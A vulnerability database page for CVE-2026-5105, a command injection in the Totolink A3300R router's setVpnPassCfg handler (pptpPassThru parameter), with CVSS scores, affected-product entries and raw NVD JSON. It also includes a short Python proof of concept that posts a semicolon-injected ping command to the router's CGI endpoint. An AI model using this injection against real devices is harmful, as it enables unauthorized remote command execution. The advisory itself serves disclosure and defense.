Security Vulnerability Report
中文
CVE-2026-5105 CVSS 6.3 MEDIUM

CVE-2026-5105

Published: 2026-03-30 04:16:10
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was detected in Totolink A3300R 17.0.0cu.557_b20221024. The affected element is the function setVpnPassCfg of the file /cgi-bin/cstecgi.cgi of the component Parameter Handler. Performing a manipulation of the argument pptpPassThru results in command injection. It is possible to initiate the attack remotely. The exploit is now public and may be used.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
Totolink A3300R 17.0.0cu.557_b20221024

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target settings target_url = "http://192.168.1.1/cgi-bin/cstecgi.cgi" # Vulnerable payload: Command injection using semicolon # Example payload to ping a controlled server to verify blind RCE payload = "; ping -c 4 192.168.1.100" # Headers (Cookie might be needed for PR:L requirement) headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "uid=123456" # Placeholder for authenticated session } # Data payload targeting the vulnerable function and parameter data = { "function": "setVpnPassCfg", "pptpPassThru": payload } try: response = requests.post(target_url, headers=headers, data=data, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5105", "sourceIdentifier": "[email protected]", "published": "2026-03-30T04:16:09.680", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Totolink A3300R 17.0.0cu.557_b20221024. The affected element is the function setVpnPassCfg of the file /cgi-bin/cstecgi.cgi of the component Parameter Handler. Performing a manipulation of the argument pptpPassThru results in command injection. It is possible to initiate the attack remotely. The exploit is now public and may be used."}, {"lang": "es", "value": "Una vulnerabilidad fue detectada en Totolink A3300R 17.0.0cu.557_b20221024. El elemento afectado es la función setVpnPassCfg del archivo /cgi-bin/cstecgi.cgi del componente Gestor de Parámetros. Realizar una manipulación del argumento pptpPassThru resulta en inyección de comandos. Es posible iniciar el ataque remotamente. El exploit es ahora público y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:*", "matchCriteriaId": "DD39B647-3419-4C6D-A6A2-30F40822A27D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F723A73-4B32-4F9E-B5DA-80134D4711C1"}]}]}], "references": [{"url": "https://github.com/LvHongW/Vuln-of-totolink_A3300R/tree/main/A3300R_pptpPassThru_cmd_inject", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/submit/779143", ... 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